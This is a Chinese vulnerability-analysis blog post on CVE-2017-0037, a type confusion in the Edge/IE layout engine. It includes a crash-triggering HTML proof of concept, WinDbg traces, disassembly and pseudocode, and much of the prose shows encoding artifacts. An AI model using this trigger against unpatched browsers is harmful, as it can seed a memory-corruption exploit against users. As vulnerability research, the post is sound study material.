CVE-2017-0037 漏洞分析

漏洞概述

該漏洞是一個由于對傳入?yún)?shù)限制不嚴(yán)格導(dǎo)致的類型混淆,錯誤的將TableGridBoxBuilder 當(dāng)作 FlowBoxBuilder 對象來使用,導(dǎo)致程序可訪問任意地址。該漏洞可以在 IE 和 EDGE 中觸發(fā),由于 IE DOM 樹的結(jié)構(gòu)并不直觀,這里采用 EDGE 進(jìn)行調(diào)試和分析

漏洞樣本

漏洞樣本如下,為了方便定位漏洞觸發(fā)相關(guān)的 DOM 節(jié)點,我在其中加入了一些 text 作為標(biāo)記

<style>
.class1 { float: left; column-count: 5; background-color:#FFFF00;}
.class2 { column-span: all; columns: 1px; }
</style>
<script>
function boom() {
  document.styleSheets[0].media.mediaText = "sss";
  th1.align = "right";
}
</script>
<body onload="setTimeout(boom,100)">
<table cellspacing="0" border=1>
    <tr class="class1">aaa
        <td id="th1" colspan="5" width=55>ssss</td>
        <th class="class2" width=0>bb
            <div class="class2">cc</div>
        </th>
    </tr>
</table>

漏洞分析

首先查看頁面代碼,大體流程為, 瀏覽器首先根據(jù) css 渲染頁面, 待頁面渲染完成之后使用 media.mediaText = "" 為css 設(shè)置媒體屬性,使 css 變成非阻塞試的,即使得當(dāng)前頁面不用考慮 css 解析結(jié)果就可以進(jìn)行渲染,(這里只要不是“all”或者“screen”都可以),再次設(shè)置 th1.align 使頁面重新渲染,這時的渲染將不會考慮之前的css,從而會使得頁面所有元素被重新布局,在這個階段發(fā)生崩潰

打開程序訪問樣本,漏洞觸發(fā)點如下,可以看到,程序崩潰在訪問 eax 寄存器所指向的地址時,eax 的值可以通過頁面中數(shù)據(jù)進(jìn)行控制

0:008> g
(d60.132c): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000484 ebx=0dbbdd58 ecx=0dbc1fe8 edx=00000006 esi=00000064 edi=13f1ef88
eip=60ef9feb esp=0861d2b0 ebp=0861d2d4 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010206
edgehtml!Layout::MultiColumnBoxBuilder::HandleColumnBreakOnColumnSpanningElement+0x75:
60ef9feb 833800          cmp     dword ptr [eax],0    ds:0023:00000484=????????

下斷點 bp EDGEHTML!Layout::MultiColumnBoxBuilder::HandleColumnBreakOnColumnSpanningElement+0x5d
此處發(fā)生函數(shù)調(diào)用,返回值 eax 作為指針 ,這里總共會發(fā)生兩次調(diào)用,函數(shù)參數(shù)保存在 ecx 中從 (poi(ebx+0x10)+0x88) 位置獲得。

60ef9fda 8b4310          mov     eax,dword ptr [ebx+10h]
60ef9fdd 8b8888000000    mov     ecx,dword ptr [eax+88h]
60ef9fe3 894dec          mov     dword ptr [ebp-14h],ecx
60ef9fe6 e805226eff      call    edgehtml!Layout::Patchable<Layout::PatchableArrayData<Layout::SGridBoxItem> >::Readable (605dc1f0)
60ef9feb 833800          cmp     dword ptr [eax],0

第一次 ebx 為 FlowBoxBuilder 對象;第二次 ebx 為 TableGridBoxBuilder 對象

第一次調(diào)用棧為

0:008> k
ChildEBP RetAddr  
0879c6cc 60aacd74 edgehtml!Layout::MultiColumnBoxBuilder::HandleColumnBreakOnColumnSpanningElement+0x70
0879c6f8 6084431f edgehtml!`TextInput::TextInputLogging::Instance'::`2'::`dynamic atexit destructor for 'wrapper''+0x2b9f4
0879c76c 60843afb edgehtml!Layout::FlowBoxBuilder::MoveToNextPosition+0x2ff
0879c7cc 6091b94e edgehtml!Layout::LayoutBuilderDriver::BuildPageLayout+0x4fb
0879c87c 60936a3a edgehtml!Layout::PageCollection::FormatPage+0x10b
0879c980 6091bcfb edgehtml!Layout::PageCollection::LayoutPagesCore+0x25a
0879c9b8 6091b5c6 edgehtml!Layout::PageCollection::LayoutPages+0xa0
0879c9f4 6091b298 edgehtml!Layout::PageCollection::DoLayout+0x126
0879ca44 6086d717 edgehtml!CView::ExecuteLayoutTasks+0x8d
0879caac 6070bb5b edgehtml!CView::EnsureView+0x2c7
0879cdbc 60708c22 edgehtml!CView::HitTestPoint<0>+0x377
0879ce7c 607089c7 edgehtml!CView::HitTestForMessage<0>+0xb3
0879ceac 606cddaa edgehtml!CDoc::HitTestPoint+0x50

第二次調(diào)用棧為

0:008> k
ChildEBP RetAddr  
0879c6cc 60aacd74 edgehtml!Layout::MultiColumnBoxBuilder::HandleColumnBreakOnColumnSpanningElement+0x70
0879c6f8 6084431f edgehtml!`TextInput::TextInputLogging::Instance'::`2'::`dynamic atexit destructor for 'wrapper''+0x2b9f4
0879c76c 60843afb edgehtml!Layout::FlowBoxBuilder::MoveToNextPosition+0x2ff
0879c7cc 6091b94e edgehtml!Layout::LayoutBuilderDriver::BuildPageLayout+0x4fb
0879c87c 60936a3a edgehtml!Layout::PageCollection::FormatPage+0x10b
0879c980 6091bcfb edgehtml!Layout::PageCollection::LayoutPagesCore+0x25a
0879c9b8 6091b5c6 edgehtml!Layout::PageCollection::LayoutPages+0xa0
0879c9f4 6091b298 edgehtml!Layout::PageCollection::DoLayout+0x126
0879ca44 6086d717 edgehtml!CView::ExecuteLayoutTasks+0x8d
0879caac 6070bb5b edgehtml!CView::EnsureView+0x2c7
0879cdbc 60708c22 edgehtml!CView::HitTestPoint<0>+0x377
0879ce7c 607089c7 edgehtml!CView::HitTestForMessage<0>+0xb3
0879ceac 606cddaa edgehtml!CDoc::HitTestPoint+0x50

我們發(fā)現(xiàn),兩次調(diào)用棧一樣,跟蹤程序流程可知,第二次函數(shù)調(diào)用與第一次在同一函數(shù)內(nèi)部,使用ida查看該上層函數(shù),可以發(fā)現(xiàn),此處是一個循環(huán)導(dǎo)致,循環(huán)每次取當(dāng)前 FlowBox 的 ParentBoxBuilder,直到無對象為止,偽代碼如下所示,其中取出了一些與漏洞無關(guān)的代碼,可以看出這里在取出 parentBoxBuilder 之后并沒有進(jìn)行合法性校驗就直接使用,從而導(dǎo)致了崩潰。

 while ( 1 )
  {
    if ( !cBoxBuilder )
      return 0;
    if ( Layout::LayoutBoxBuilder::IsMultiColumnBoxBuilder(cBoxBuilder) )
      break;
    if ( Layout::LayoutBoxBuilder::IsFlowBoxBuilder(cBoxBuilder_1) )
      v3 += *((_DWORD *)cBoxBuilder + 171);
 
      /****************
      ****************/
      
      v10 = ((int (*)(void))Layout::Patchable<Layout::PatchableArrayData<Layout::SGridBoxItem>>::Readable)();
      
      /****************
      ****************/
 
    v26 = *(_DWORD *)(*((_DWORD *)cBoxBuilder + 4) + 12);
    cBoxBuilder = Layout::ContainerBoxBuilder::ParentContainerBoxBuilder(cBoxBuilder);
  }

HandleColumnBreakOnColumnSpanningElement 函數(shù)上下斷點,顧名思義,函數(shù)是在一個 colume span 屬性的對象發(fā)生修改時被調(diào)用的。 該函數(shù)在樣本中一共會被調(diào)用 32 次, ,通過 BoxBuilder 可以索引到相應(yīng)的對象,這里崩潰時調(diào)用對應(yīng)的DOM對象為一個 CTableCell ,在頁面中對應(yīng)的為第二個 <th> 標(biāo)簽內(nèi)部對象。

此次傳入函數(shù)的參數(shù)為 FlowBoxBuilder ,其對應(yīng)的 DOM 節(jié)點對象為 "bb" 文本對象的父 generate 對象, 根據(jù)當(dāng)前節(jié)點對應(yīng)的 FlowBox+0x88 位置設(shè)置一個標(biāo)記位,若該標(biāo)記位被設(shè)置,則依次向上遍歷其 parentBoxBuilder

根據(jù)單步調(diào)試過程可以看出,第一次調(diào)用的DOM 對象和崩潰時調(diào)用的是同一個,只是其 FlowBox 發(fā)生了改變,應(yīng)該是解析 css 過程中對 box 內(nèi)容進(jìn)行了更改。 于是在這里下斷點觀察。可以看出這里每次發(fā)生頁面渲染操作時(頁面內(nèi)容發(fā)生變化)都會改變,而其偏移 0x88 位置的值則是在如下的調(diào)用流程中被修改的,若此處沒有被修改,則會誘發(fā)崩潰。

088cca84 6060721a edgehtml!Layout::FlowBoxBuilder::AddFlowItem+0x9f
088ccd28 6084529f edgehtml!Layout::FlowBoxBuilder::BuildLine+0x43a
088cce78 6084384f edgehtml!Layout::FlowBoxBuilder::BuildBoxItem+0x11f
088cced4 6091b94e edgehtml!Layout::LayoutBuilderDriver::BuildPageLayout+0x24f

通過調(diào)用棧可以看到,這里是發(fā)生在構(gòu)建頁面 line 時。

第一次處理 '第二個 <th> 標(biāo)簽' 時,對應(yīng)的Container 對象為為 FlowBox,正常處理,取 parentBoxBuilder 便會取到 <tr> 對象對應(yīng)的 ContainerBox,其為 GridBox,與 FlowBox結(jié)構(gòu)不同,從而造成了類型混淆。

后續(xù)工作

因為分析的時候遇到了很多困難,所以到網(wǎng)上搜索了一些文檔~看到了 0patch ~看到了 0patch 的補(bǔ)丁~ 為什么感覺這個補(bǔ)丁完全沒有在修補(bǔ)漏洞呢~

這個漏洞涉及到了css 等一些東西,知識點比較雜亂所以分析的也是亂七八糟,這里先記下來作為調(diào)試筆記~~和渲染相關(guān)的東西有點多~

最后編輯于
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請聯(lián)系作者
平臺聲明:文章內(nèi)容(如有圖片或視頻亦包括在內(nèi))由作者上傳并發(fā)布,文章內(nèi)容僅代表作者本人觀點,簡書系信息發(fā)布平臺,僅提供信息存儲服務(wù)。
  • 序言:七十年代末,一起剝皮案震驚了整個濱河市,隨后出現(xiàn)的幾起案子,更是在濱河造成了極大的恐慌,老刑警劉巖,帶你破解...
    沈念sama閱讀 229,732評論 6 539
  • 序言:濱河連續(xù)發(fā)生了三起死亡事件,死亡現(xiàn)場離奇詭異,居然都是意外死亡,警方通過查閱死者的電腦和手機(jī),發(fā)現(xiàn)死者居然都...
    沈念sama閱讀 99,214評論 3 426
  • 文/潘曉璐 我一進(jìn)店門,熙熙樓的掌柜王于貴愁眉苦臉地迎上來,“玉大人,你說我怎么就攤上這事。” “怎么了?”我有些...
    開封第一講書人閱讀 177,781評論 0 382
  • 文/不壞的土叔 我叫張陵,是天一觀的道長。 經(jīng)常有香客問我,道長,這世上最難降的妖魔是什么? 我笑而不...
    開封第一講書人閱讀 63,588評論 1 316
  • 正文 為了忘掉前任,我火速辦了婚禮,結(jié)果婚禮上,老公的妹妹穿的比我還像新娘。我一直安慰自己,他們只是感情好,可當(dāng)我...
    茶點故事閱讀 72,315評論 6 410
  • 文/花漫 我一把揭開白布。 她就那樣靜靜地躺著,像睡著了一般。 火紅的嫁衣襯著肌膚如雪。 梳的紋絲不亂的頭發(fā)上,一...
    開封第一講書人閱讀 55,699評論 1 327
  • 那天,我揣著相機(jī)與錄音,去河邊找鬼。 笑死,一個胖子當(dāng)著我的面吹牛,可吹牛的內(nèi)容都是我干的。 我是一名探鬼主播,決...
    沈念sama閱讀 43,698評論 3 446
  • 文/蒼蘭香墨 我猛地睜開眼,長吁一口氣:“原來是場噩夢啊……” “哼!你這毒婦竟也來了?” 一聲冷哼從身側(cè)響起,我...
    開封第一講書人閱讀 42,882評論 0 289
  • 序言:老撾萬榮一對情侶失蹤,失蹤者是張志新(化名)和其女友劉穎,沒想到半個月后,有當(dāng)?shù)厝嗽跇淞掷锇l(fā)現(xiàn)了一具尸體,經(jīng)...
    沈念sama閱讀 49,441評論 1 335
  • 正文 獨(dú)居荒郊野嶺守林人離奇死亡,尸身上長有42處帶血的膿包…… 初始之章·張勛 以下內(nèi)容為張勛視角 年9月15日...
    茶點故事閱讀 41,189評論 3 356
  • 正文 我和宋清朗相戀三年,在試婚紗的時候發(fā)現(xiàn)自己被綠了。 大學(xué)時的朋友給我發(fā)了我未婚夫和他白月光在一起吃飯的照片。...
    茶點故事閱讀 43,388評論 1 372
  • 序言:一個原本活蹦亂跳的男人離奇死亡,死狀恐怖,靈堂內(nèi)的尸體忽然破棺而出,到底是詐尸還是另有隱情,我是刑警寧澤,帶...
    沈念sama閱讀 38,933評論 5 363
  • 正文 年R本政府宣布,位于F島的核電站,受9級特大地震影響,放射性物質(zhì)發(fā)生泄漏。R本人自食惡果不足惜,卻給世界環(huán)境...
    茶點故事閱讀 44,613評論 3 348
  • 文/蒙蒙 一、第九天 我趴在偏房一處隱蔽的房頂上張望。 院中可真熱鬧,春花似錦、人聲如沸。這莊子的主人今日做“春日...
    開封第一講書人閱讀 35,023評論 0 28
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽。三九已至,卻和暖如春,著一層夾襖步出監(jiān)牢的瞬間,已是汗流浹背。 一陣腳步聲響...
    開封第一講書人閱讀 36,310評論 1 293
  • 我被黑心中介騙來泰國打工, 沒想到剛下飛機(jī)就差點兒被人妖公主榨干…… 1. 我叫王不留,地道東北人。 一個月前我還...
    沈念sama閱讀 52,112評論 3 398
  • 正文 我出身青樓,卻偏偏與公主長得像,于是被迫代替她去往敵國和親。 傳聞我的和親對象是個殘疾皇子,可洞房花燭夜當(dāng)晚...
    茶點故事閱讀 48,334評論 2 377

推薦閱讀更多精彩內(nèi)容

  • Android 自定義View的各種姿勢1 Activity的顯示之ViewRootImpl詳解 Activity...
    passiontim閱讀 172,702評論 25 708
  • 走路時目不斜視,躲躲閃閃。 閑坐中心猿意馬,鬼使神差。 睡夢里顛鸞倒鳳,欲罷不能。 夢醒后痛心疾首,耳紅面赤。
    隨緣興趣閱讀 223評論 0 0
  • 給大家推薦一本書:《定位》,基本上任何一個關(guān)于營銷學(xué)的書單里都有這本書,“定位”確實是一個偉大的營銷理念。但是根據(jù)...
    王二寶閱讀 1,597評論 0 0
  • 黑夜里 我想抓住我的影子 給我作個伴 可我的手不夠長 只得任由它從我指教滑落 落在地上 我的影子 透露著夜的昏暗
    蘇慕空閱讀 217評論 1 1
  • 前幾日在筆者所在實驗室發(fā)生了這樣一件事,故事的主人公是A小姐和B經(jīng)理。 背景是本來安排A小姐周六加班的,但是A小姐...
    悅懌gx閱讀 272評論 0 0